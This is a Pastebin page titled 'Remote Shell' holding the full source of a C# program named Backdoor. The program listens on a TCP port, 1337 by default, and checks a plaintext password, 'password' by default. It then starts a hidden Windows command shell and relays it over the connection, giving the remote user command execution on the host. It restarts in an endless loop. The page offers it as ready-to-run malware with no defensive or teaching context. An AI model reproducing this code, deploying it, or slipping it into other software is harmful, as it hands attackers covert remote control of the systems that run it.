CGC_Codes

Remote Shell

Jun 5th, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 7.25 KB | None | 0 0
  1. using System;
  2. using System.Diagnostics;
  3. using System.Net;
  4. using System.Net.Sockets;
  5. using System.Threading;
  6. using System.IO;
  7.  
  8. namespace BackdoorServer
  9. {
  10.     public class Backdoor
  11.     {
  12.         private TcpListener listener;                  
  13.         private Socket mainSocket;        
  14.         private int port;                                  
  15.         private String name;                                
  16.         private String password;                            
  17.         private bool verbose = true;                        
  18.         private Process shell;                              
  19.         private StreamReader fromShell;
  20.         private StreamWriter toShell;
  21.         private StreamReader inStream;
  22.         private StreamWriter outStream;
  23.         private Thread shellThread;                        
  24.  
  25.         private static int DEFAULT_PORT = 1337;            
  26.         private static String DEFAULT_NAME = "Server";      
  27.         private static String DEFAULT_PASS = "password";    
  28.  
  29.         public Backdoor()
  30.         {                                  
  31.             port = DEFAULT_PORT;
  32.             name = DEFAULT_NAME;
  33.             password = DEFAULT_PASS;
  34.         }
  35.  
  36.         public Backdoor(int p)
  37.         {                          
  38.             port = p;
  39.             name = DEFAULT_NAME;
  40.             password = DEFAULT_PASS;
  41.         }
  42.  
  43.         public Backdoor(int p, String n)
  44.         {                  
  45.             port = p;
  46.             name = n;
  47.             password = DEFAULT_PASS;
  48.         }
  49.  
  50.         public Backdoor(int p, String n, String pass)
  51.         {      
  52.             port = p;
  53.             name = n;
  54.             password = pass;
  55.         }
  56.         public Backdoor(int p, String n, String pass, bool verb)
  57.         {      
  58.             port = p;
  59.             name = n;
  60.             password = pass;
  61.             verbose = verb;
  62.         }
  63.        
  64.         public void startServer()
  65.         {
  66.             try
  67.             {
  68.                 if (verbose)
  69.                     Console.WriteLine("Listening on port " + port);
  70.  
  71.                
  72.                 listener = new TcpListener(port);
  73.                 listener.Start();                                  
  74.                 mainSocket = listener.AcceptSocket();
  75.  
  76.                 if (verbose)
  77.                     Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint);
  78.  
  79.                 Stream s = new NetworkStream(mainSocket);
  80.                 inStream = new StreamReader(s);
  81.                 outStream = new StreamWriter(s);
  82.                 outStream.AutoFlush = true;
  83.  
  84.                 String checkPass = inStream.ReadLine();
  85.  
  86.                 if (verbose)
  87.                     Console.WriteLine("Client tried password " + checkPass);
  88.  
  89.                 if (!checkPass.Equals(password))
  90.                 {                      
  91.                     if (verbose)
  92.                         Console.WriteLine("Incorrect Password");
  93.                     badPass();                                          
  94.                     return;
  95.                 }
  96.  
  97.                 if (verbose)
  98.                     Console.WriteLine("Password Accepted.");
  99.  
  100.                 shell = new Process();
  101.                 ProcessStartInfo p = new ProcessStartInfo("cmd");
  102.                 p.CreateNoWindow = true;
  103.                 p.UseShellExecute = false;
  104.                 p.RedirectStandardError = true;
  105.                 p.RedirectStandardInput = true;
  106.                 p.RedirectStandardOutput = true;
  107.                 shell.StartInfo = p;
  108.                 shell.Start();
  109.                 toShell = shell.StandardInput;
  110.                 fromShell = shell.StandardOutput;
  111.                 toShell.AutoFlush = true;
  112.                 shellThread = new Thread(new ThreadStart(getShellInput));  
  113.                 shellThread.Start();
  114.                 outStream.WriteLine("Welcome to " + name + " backdoor server.");        
  115.                 outStream.WriteLine("Starting shell...\n");
  116.                 getInput();                                                
  117.                 dropConnection();                                  
  118.  
  119.             }
  120.             catch (Exception) { dropConnection(); }
  121.         }
  122.        
  123.  
  124.         void getShellInput()
  125.         {
  126.             try
  127.             {
  128.                 String tempBuf = "";
  129.                 outStream.WriteLine("\r\n");
  130.                 while ((tempBuf = fromShell.ReadLine()) != null)
  131.                 {
  132.                     outStream.WriteLine(tempBuf + "\r");
  133.                 }
  134.                 dropConnection();
  135.             }
  136.             catch (Exception) { /*dropConnection();*/ }
  137.         }
  138.  
  139.         private void getInput()
  140.         {
  141.             try
  142.             {
  143.                 String tempBuff = "";                                      
  144.                 while (((tempBuff = inStream.ReadLine()) != null))
  145.                 {        
  146.                     if (verbose)
  147.                         Console.WriteLine("Received command: " + tempBuff);
  148.                     handleCommand(tempBuff);                              
  149.                 }
  150.             }
  151.             catch (Exception) { }
  152.         }
  153.  
  154.         private void handleCommand(String com)
  155.         {      
  156.             try
  157.             {                                      
  158.                 if (com.Equals("exit"))
  159.                 {                
  160.                     outStream.WriteLine("\n\nClosing the shell and Dropping the connection...");
  161.                     dropConnection();                  
  162.                 }
  163.                 toShell.WriteLine(com + "\r\n");
  164.             }
  165.             catch (Exception) { dropConnection(); }
  166.         }
  167.  
  168.        
  169.         private void badPass()
  170.         {
  171.             inStream.Dispose();
  172.             outStream.Dispose();
  173.             mainSocket.Close();
  174.             listener.Stop();
  175.             return;
  176.         }
  177.         private void dropConnection()
  178.         {
  179.             try
  180.             {
  181.                 if (verbose)
  182.                     Console.WriteLine("Dropping Connection");
  183.                 shell.Close();
  184.                 shell.Dispose();
  185.                 shellThread.Abort();
  186.                 shellThread = null;
  187.                 inStream.Dispose();                                
  188.                 outStream.Dispose();
  189.                 toShell.Dispose();
  190.                 fromShell.Dispose();
  191.                 shell.Dispose();
  192.                 mainSocket.Close();
  193.                 listener.Stop();
  194.                 return;
  195.             }
  196.             catch (Exception) { }
  197.         }
  198.         static void Main(string[] args)
  199.         {
  200.             try
  201.             {
  202.                 Backdoor bd = new Backdoor();
  203.                 if (args.Length == 1)
  204.                     bd = new Backdoor(int.Parse(args[0]));
  205.                 if (args.Length == 2)
  206.                     bd = new Backdoor(int.Parse(args[0]), args[1]);
  207.                 if (args.Length == 3)
  208.                     bd = new Backdoor(int.Parse(args[0]), args[1], args[2]);
  209.                 else if (args.Length == 4)
  210.                     bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3]));
  211.                 while (true)
  212.                 {
  213.                     bd.startServer();
  214.                 }
  215.             }
  216.             catch (Exception) { }
  217.  
  218.         }
  219.     }
  220. }
Advertisement
Add Comment
Please, Sign In to add comment